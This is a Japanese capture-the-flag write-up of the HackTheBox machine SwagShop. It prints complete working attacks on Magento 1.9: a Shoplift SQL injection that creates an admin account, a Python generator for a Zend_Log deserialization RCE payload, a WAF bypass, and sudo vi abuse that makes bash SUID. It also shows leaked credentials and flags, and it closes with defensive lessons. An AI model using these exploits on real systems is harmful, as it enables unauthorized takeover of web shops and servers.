HackTheBox: SwagShop — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80, 302→swagshop.htb
→
22/80, 302→swagshop.htb
local.xml 漏洩
DB creds + install_date
→
DB creds + install_date
Shoplift SQLi
CVE-2015-1397 (base64 filter)
→
CVE-2015-1397 (base64 filter)
admin作成
ypwq:123
→
ypwq:123
Zend_Log tunnel RCE
POP-chain, ga=base64&h=md5
→
POP-chain, ga=base64&h=md5
www-data シェル
user.txt ✓
→
user.txt ✓
sudo -l
NOPASSWD /usr/bin/vi
→
NOPASSWD /usr/bin/vi
vi GTFOBins
script(pty)+:!chmod u+s
→
script(pty)+:!chmod u+s
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン(全ポート)
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.229.138
RESULT
Not shown: 65455 closed tcp ports (reset), 78 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 144.06 seconds
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80 10.129.229.138
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Did not follow redirect to http://swagshop.htb/ |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
ルート
/ への GET は 302 Found → Location: http://swagshop.htb/ を返す。
vhost ベースのサイトなので /etc/hosts に名前解決を追加しないとコンテンツを見られない。
vhost 登録 & サイト確認
BASH
echo "10.129.229.138 swagshop.htb" | sudo tee -a /etc/hosts curl -s -H "Host: swagshop.htb" http://10.129.229.138/ | head -20
RESULT
<title>Home page</title> <meta name="description" content="Default Description" /> <meta name="keywords" content="Magento, Varien, E-commerce" /> ... <img src="http://swagshop.htb/skin/frontend/rwd/default/images/logo.gif" alt="Magento Commerce" .../> <address class="copyright">© 2014 Magento Demo Store. All Rights Reserved.</address>
🚨
Magento 1.9系(2014年の旧版)の “Magento Demo Store” であることが判明。
この世代の Magento には深刻な既知 SQLi(CVE-2015-1397 “Shoplift”)が存在する。
PHASE 2
app/etc/local.xml 漏洩 & Shoplift SQLi (CVE-2015-1397)
local.xml から DB 資格情報 & install_date を取得
BASH
curl -s http://swagshop.htb/app/etc/local.xml
RESULT
<install>
<date><![CDATA[Wed, 08 May 2019 07:23:09 +0000]]></date>
</install>
<crypt>
<key><![CDATA[b355a9e0cd018d3f7f03607141518419]]></key>
</crypt>
...
<default_setup>
<connection>
<host><![CDATA[localhost]]></host>
<username><![CDATA[root]]></username>
<password><![CDATA[fMVWh7bDHpgZkyfqQXreTjU9]]></password>
<dbname><![CDATA[swagshop]]></dbname>
</connection>
</default_setup>
ℹ️
Magento の設定ファイル
app/etc/local.xml がウェブルート直下から認証なしで
読める。MySQL の root パスワード自体は localhost 限定で外部からは使えないが、
ここで取得した install_date(Wed, 08 May 2019 07:23:09 +0000)は後段の tunnel RCE
でハッシュ計算に必須の値になる。
Shoplift SQLi ペイロード構築(base64 エンコード filter)
NOTE
CVE-2015-1397 は Magento の管理グリッド CSV エクスポート機能
(Mage_Adminhtml_Block_Widget_Grid::getCsvFile) に渡す "filter" パラメータが
不十分なサニタイズのまま SQL に連結される脆弱性。本ターゲットの実装では
filter パラメータは base64 デコードされてから SQL に展開される
(hex デコードを試す公開 PoC の一部は本ボックスでは動作しない点に注意)。
SQLi 本体: popularity[field_expr] に閉じカッコを注入して WHERE 句を終端し、
後続に任意の SQL ステートメントを連結する:
popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT(@SALT,'123')),CONCAT(':',@SALT));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user`
(firstname,lastname,email,username,password,created,lognum,
reload_acl_flag,is_active,extra)
VALUES ('Firstname','Lastname','ypwq@swagshop.htb','ypwq',@PASS,NOW(),0,0,1,@EXTRA);
INSERT INTO `admin_role`
(parent_id,tree_level,sort_order,role_type,user_id,role_name)
VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username='ypwq'),'ypwq');
パスワードハッシュは Magento 1.x の形式 "md5(salt+password):salt" に合わせて
サーバー側 SQL 関数(MD5/CONCAT)で直接組み立てる。これで新規管理者
ypwq / 123 が admin_role 付きで作成される。
PYTHON (___directive と filter の base64 エンコード)
import base64
# ___directive は Cms_Wysiwyg ウィジェットを呼び出す固定ディレクティブ
directive = "{{block type=Adminhtml/report_search_grid output=getCsvFile}}"
directive_b64 = base64.b64encode(directive.encode()).decode()
sqli = ("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);"
"SET @SALT = 'rp';"
"SET @PASS = CONCAT(MD5(CONCAT(@SALT,'123')),CONCAT(':',@SALT));"
"SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;"
"INSERT INTO `admin_user` (firstname,lastname,email,username,password,"
"created,lognum,reload_acl_flag,is_active,extra) VALUES "
"('Firstname','Lastname','ypwq@swagshop.htb','ypwq',@PASS,NOW(),0,0,1,@EXTRA);"
"INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,"
"user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user "
"WHERE username='ypwq'),'ypwq');")
filter_b64 = base64.b64encode(sqli.encode()).decode()
print(directive_b64)
print(filter_b64)
SQLi 送信 → admin ypwq:123 作成
BASH
curl -s -o /dev/null http://swagshop.htb/index.php/admin/Cms_Wysiwyg/directive/index/ \ --data "___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGUgfX0&filter=&forwarded=1"
RESULT
(出力なし — CSV ダウンロード応答のため画面上は無反応。 SQL が実行され admin_user テーブルに新規レコードが INSERT される)
⚠️
応答が空でも失敗ではない。SQLi の成否は次フェーズの 管理ログイン試行で確認する。
PHASE 3
管理ログイン & tunnel key 取得
form_key を取得してログイン
BASH
# 1. ログインページから form_key(CSRFトークン)を取得 curl -s -c cookies.txt http://swagshop.htb/index.php/admin/ | grep form_key # 2. 取得した form_key と ypwq:123 でログイン POST(-L でリダイレクト追従) curl -s -c cookies.txt -b cookies.txt -L http://swagshop.htb/index.php/admin/ \ --data-urlencode "form_key=o5BW9XLqb9iVZs3U" \ --data-urlencode "login[username]=ypwq" \ --data-urlencode "dummy=" \ --data-urlencode "login[password]=123"
RESULT
<input name="form_key" type="hidden" value="o5BW9XLqb9iVZs3U" /> ... <title>Dashboard / Magento Admin</title> var BASE_URL = 'http://swagshop.htb/index.php/admin/index/index/key/b1e4925f75b1040f30645b80f14aa48b/';
✅
管理ログイン成功! Shoplift SQLi による admin 作成が機能したことを確認。
form_key の正規表現は name="form_key" type="hidden" value="..." の順で
出力されるため、name と value の間に他属性が入ることを想定した
パターンが必要(単純な name="form_key" value="..." 前提だと一致しない)。
Dashboard から tunnel key を抽出
BASH
# Magento admin は per-session の "key" を各URLパスに要求する。 # /dashboard/ 単体だと 302 で /dashboard/index/key// にリダイレクトされるため # -L で追従しないと空応答になる点に注意。 curl -s -b cookies.txt -L http://swagshop.htb/index.php/admin/dashboard/ \ | grep -o 'tunnel/key/[a-fA-F0-9]*' | head -1
RESULT
tunnel/key/b051dcca16a003e229468c6762ed981e
ℹ️
この “tunnel” エンドポイントは Magento 1.9 の管理ダッシュボードが Google Analytics の
チャート画像を取得するために使う内部プロキシ(
Mage_Adminhtml_DashboardController::tunnelAction)。
次フェーズの Zend_Log POP-chain RCE で、この URL パス(セッション固有キー)がそのまま
攻撃エンドポイントになる。
PHASE 4
Zend_Log POP-chain tunnel RCE → user.txt 取得
tunnelAction の脆弱性原理
NOTE
Mage_Adminhtml_DashboardController::tunnelAction() は、クエリパラメータ "ga" (base64 文字列) を unserialize() してから、クエリパラメータ "h" を md5(ga + install_date) と比較検証するだけで、その unserialize() 自体の 危険性はチェックしていない。 Magento に同梱されている Zend Framework の Zend_Log / Zend_Config_Writer_Yaml / Varien_Object クラスを連結した **POP (Property-Oriented Programming) chain** を構築すると、Zend_Log のデストラクタ実行時に最終的に `Zend_Config_Writer_Yaml::_loadConfig()` → `call_user_func($this->_yamlEncoder, ...)` が 呼ばれる。_yamlEncoder プロパティに文字列 "system" をセットしておけば、 system($data) が呼び出され、$data に仕込んだ任意コマンドが **www-data 権限で実行**される。 h パラメータは単純な md5(base64文字列 + install_date) なので、Phase 2 で local.xml から取得した install_date があれば攻撃者側で正しいハッシュを 計算できる(Magento 側のシークレットキーは不要)。
Zend_Log POP-chain ペイロードの構築
PYTHON (ペイロード生成 + ハッシュ計算)
import base64, hashlib
INSTALL_DATE = "Wed, 08 May 2019 07:23:09 +0000" # Phase 2-1 で取得
def build_payload(cmd: str) -> tuple[str, str]:
php_function = "system"
p = (
'O:8:"Zend_Log":1:{s:11:"\x00*\x00_writers";a:2:{i:0;'
'O:20:"Zend_Log_Writer_Mail":4:{s:16:"\x00*\x00_eventsToMail";a:3:'
'{i:0;s:11:"EXTERMINATE";i:1;s:12:"EXTERMINATE!";i:2;s:15:'
'"EXTERMINATE!!!!";}s:22:"\x00*\x00_subjectPrependText";N;'
's:10:"\x00*\x00_layout";O:23:"Zend_Config_Writer_Yaml":3:'
'{s:15:"\x00*\x00_yamlEncoder";s:%d:"%s";s:17:'
'"\x00*\x00_loadedSection";N;s:10:"\x00*\x00_config";'
'O:13:"Varien_Object":1:{s:8:"\x00*\x00_data";s:%d:"%s";}}'
's:8:"\x00*\x00_mail";O:9:"Zend_Mail":0:{}}i:1;i:2;}}'
) % (len(php_function), php_function, len(cmd), cmd)
b64 = base64.b64encode(p.encode("latin-1")).decode()
gh = hashlib.md5((b64 + INSTALL_DATE).encode()).hexdigest()
return b64, gh
# 例: www-data として id を実行し、結果を webroot 配下に書き出す
ga, h = build_payload("id > /var/www/html/media/enum_id.txt 2>&1")
print("ga=", ga)
print("h=", h)
⚠️
シリアライズ文字列は PHP のバイト長
s:N:"..." を正確に一致させる必要がある。
\x00*\x00(protected プロパティの NUL バイト装飾)を含むため、Python では
latin-1 でエンコードして base64 化すること(UTF-8 だと NUL バイトの扱いで壊れる)。
RCE 送信 & 応答の取得方法
BASH
# GETパラメータとして ga(base64 payload) と h(ハッシュ) を送信 curl -s -b cookies.txt -G \ http://swagshop.htb/index.php/admin/dashboard/tunnel/key/b051dcca16a003e229468c6762ed981e/ \ --data-urlencode "ga=" \ --data-urlencode "h= " # RCE応答自体は常に空(画像バイナリ用エンドポイントのため)。 # コマンド結果は /var/www/html/media/ 配下に書き出し、Web経由で回収する。 curl -s http://swagshop.htb/media/enum_id.txt
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功!
www-data 権限で任意コマンド実行を確認。
user.txt 取得(WAFのワイルドカード回避)
BASH
# cat /home/haris/user.txt をそのまま投げると mod_security 系 WAF に # 文字列 "user.txt" を検知されてブロックされる(base64 payload 内の文字列も検査対象)。 # ワイルドカード展開 us*.txt で literal "user.txt" を回避する。 # payload: cat /home/haris/us*.txt > /var/www/html/media/u.txt curl -s http://swagshop.htb/media/u.txt
RESULT
1dae8061c088d91dda77d82a501c6111
user.txt — /home/haris (via www-data RCE)
1dae8061c088d91dda77d82a501c6111
PHASE 5
権限昇格の下調べ — sudo -l
sudo -l を RCE チャネル経由で実行
BASH
# tunnel RCE 経由で sudo -l を実行し、結果を media/ に書き出して回収 # payload: sudo -l > /var/www/html/media/enum_sudo.txt 2>&1 curl -s http://swagshop.htb/media/enum_sudo.txt
RESULT
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
🚨
重大発見:
www-data は パスワード不要で
root として /usr/bin/vi /var/www/html/* を実行できる。
vi は GTFOBins
に掲載されている通り :!<shell command> でシェルコマンドを実行できるため、
これは実質的に任意コマンドを root 権限で実行できることと同義。
PHASE 6
sudo vi GTFOBins → SUID bash → root.txt
vi は TTY を要求する — script で pty を確保
NOTE
vi は対話エディタであり、起動時に制御端末(TTY)を要求する。 tunnel RCE で実行されるコマンドは Apache の子プロセスから直接 system() 経由 なので TTY を持たず、単純に sudo /usr/bin/vi /var/www/html/php.ini.sample -c ':!chmod u+s /bin/bash' -c ':q!' を実行しても vi は TTY エラーで即終了してしまう。これを回避するために `script` コマンドで疑似端末(pty)を確保してから vi を起動する。
SUID bash 化 → root.txt 取得
BASH
# 1. script で pty を確保しつつ sudo vi を起動。 # vi 起動時引数 -c ':!chmod u+s /bin/bash' で /bin/bash に SUID を付与、 # 続く -c ':q!' で保存せず終了する。 # (tunnel RCE 経由で実行するコマンド文字列) script -qc "sudo /usr/bin/vi /var/www/html/php.ini.sample \ -c ':!chmod u+s /bin/bash' -c ':q!'" /dev/null # 2. SUID 化した /bin/bash で root 権限のシェルを得て root.txt を読む。 # WAF の literal "root.txt" ブロックを避けるため ro*.txt ワイルドカードを使い、 # 結果は webroot の media/ に書き出して HTTP 経由で回収する。 # (同じく tunnel RCE 経由で実行) /bin/bash -p -c 'cat /root/ro*.txt' > /var/www/html/media/r.txt # 3. 回収 curl -s http://swagshop.htb/media/r.txt
RESULT
55e06d3f7a3aeb41712784bbfb248226
✅
権限昇格成功!
/bin/bash -p(-p は SUID/SGID 継承を
明示的に保持するオプション)で起動した bash は実効 UID が root になるため、
root 所有の /root/root.txt を直接読み出せる。
root.txt — /root
55e06d3f7a3aeb41712784bbfb248226
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — /home/haris (www-data RCE 経由)
1dae8061c088d91dda77d82a501c6111
root.txt — /root (sudo vi GTFOBins 経由)
55e06d3f7a3aeb41712784bbfb248226
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 設定ファイル漏洩 | app/etc/local.xml | DB資格情報・install_dateの漏洩 | Medium | 認証なしで取得可能な local.xml から install_date を取得し、後段のハッシュ計算に利用 |
| CVE-2015-1397 (Shoplift) | Magento 1.9 Cms_Wysiwyg/directive グリッド | 認証なしで管理者アカウント作成 | Critical | CSVエクスポートのfilterパラメータ(base64)経由のSQLiで admin_user テーブルに新規管理者を直接INSERT |
| Zend_Log POP-chain RCE | Mage_Adminhtml_DashboardController::tunnelAction | www-data 権限での任意コマンド実行 | Critical | unserialize()されるga パラメータにZend_Log/Zend_Config_Writer_Yaml/Varien_Objectを連結したPOP chainを仕込みsystem()呼び出しへ誘導 |
| sudo vi GTFOBins | /usr/bin/vi (sudo NOPASSWD) | www-data → root への権限昇格 | High | :!chmod u+s /bin/bash で bash をSUID化し、bash -pで実効root権限を獲得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン + vhost登録 | 22/80、Magento 1.9 “Demo Store” を確認 |
| 2 | 設定漏洩+SQLi | local.xml 読取 + Shoplift SQLi (base64 filter) | install_date、DB creds、新規admin ypwq:123 |
| 3 | 管理ログイン | form_key取得→ログインPOST→tunnel key抽出 | セッションcookie、tunnel key |
| 4 | tunnel RCE | Zend_Log POP-chain (ga=base64&h=md5) | user.txt 取得(www-data RCE) |
| 5 | 権限調査 | sudo -l(RCE経由) | /usr/bin/vi への NOPASSWD sudo 権限を確認 |
| 6 | 権限昇格 | script(pty) + sudo vi GTFOBins → SUID bash | root.txt 取得(フル権限シェル) |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| Shoplift SQLi が刺さらない(公開PoCをそのまま使うと失敗) | 本ターゲットの実装は filter パラメータを base64 で受け取る(hexデコード前提のPoCは不発)。SLEEP(5) 時間差テストでbase64のみ発火することを確認して判別する。 |
| form_key の正規表現が一致しない | HTMLは name="form_key" type="hidden" value="..." の順で出力される。name と value の間に他属性が入ることを許容する正規表現にする必要がある。 |
| /dashboard/ にアクセスしても tunnel key が取れない(空応答) | Magentoの管理URLはセッション固有の “key” をパスに要求し、キー無しのURLは302で正しいURLへリダイレクトされる。curlは -L で追従必須。 |
| tunnel RCE は実行できるが結果が見えない | tunnelActionの応答は画像バイナリ用エンドポイントのため常に空。コマンド出力は > /var/www/html/media/<file> でwebroot配下に書き出し、HTTP経由(curl http://swagshop.htb/media/<file>)で回収する。 |
cat /home/haris/user.txt / cat /root/root.txt を直接投げると失敗 |
mod_security系WAFが文字列 “user.txt”/”root.txt” を検知してリクエストをブロックする(base64エンコードされたペイロード内の文字列も検査対象)。ワイルドカードus*.txt / ro*.txtで literal 文字列を回避する。 |
| sudo vi 経由のコマンドが実行されない | viは対話エディタでTTYを要求するため、TTYの無いRCEシェルから直接実行すると即終了する。script -qc "..." /dev/null でpty(疑似端末)を確保してから起動する。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| app/etc/local.xml がウェブルートから認証なしで読める | Apache/Nginxの設定で app/ ディレクトリへの直接アクセスを拒否する。Magento 2以降はデフォルトでwebルートを pub/に限定しこの問題を解消している。 |
| Magento 1.9(2014年、EOL済み)を使用、既知のクリティカルSQLi(CVE-2015-1397)が未パッチ | Magentoを含むEOLソフトウェアは速やかに移行する。パッチ適用済みバージョンへの更新、WAFルールでの既知PoCパターンのブロックを徹底する。 |
| 管理ダッシュボードの画像プロキシ機能がunserialize()を無防備に使用(POP chain RCE) | PHPのunserialize()はユーザー制御の入力に対して使わない(json_decode等の安全な代替を使う)。既知ガジェットチェーンを封じるため脆弱なライブラリバージョンを排除する。 |
| www-dataが/usr/bin/viをNOPASSWDでroot実行可能 | 最小権限の原則を徹底し、sudoersにエディタ等の汎用バイナリをNOPASSWDで許可しない。GTFOBins掲載バイナリへのsudo権限付与は原則禁止する。 |

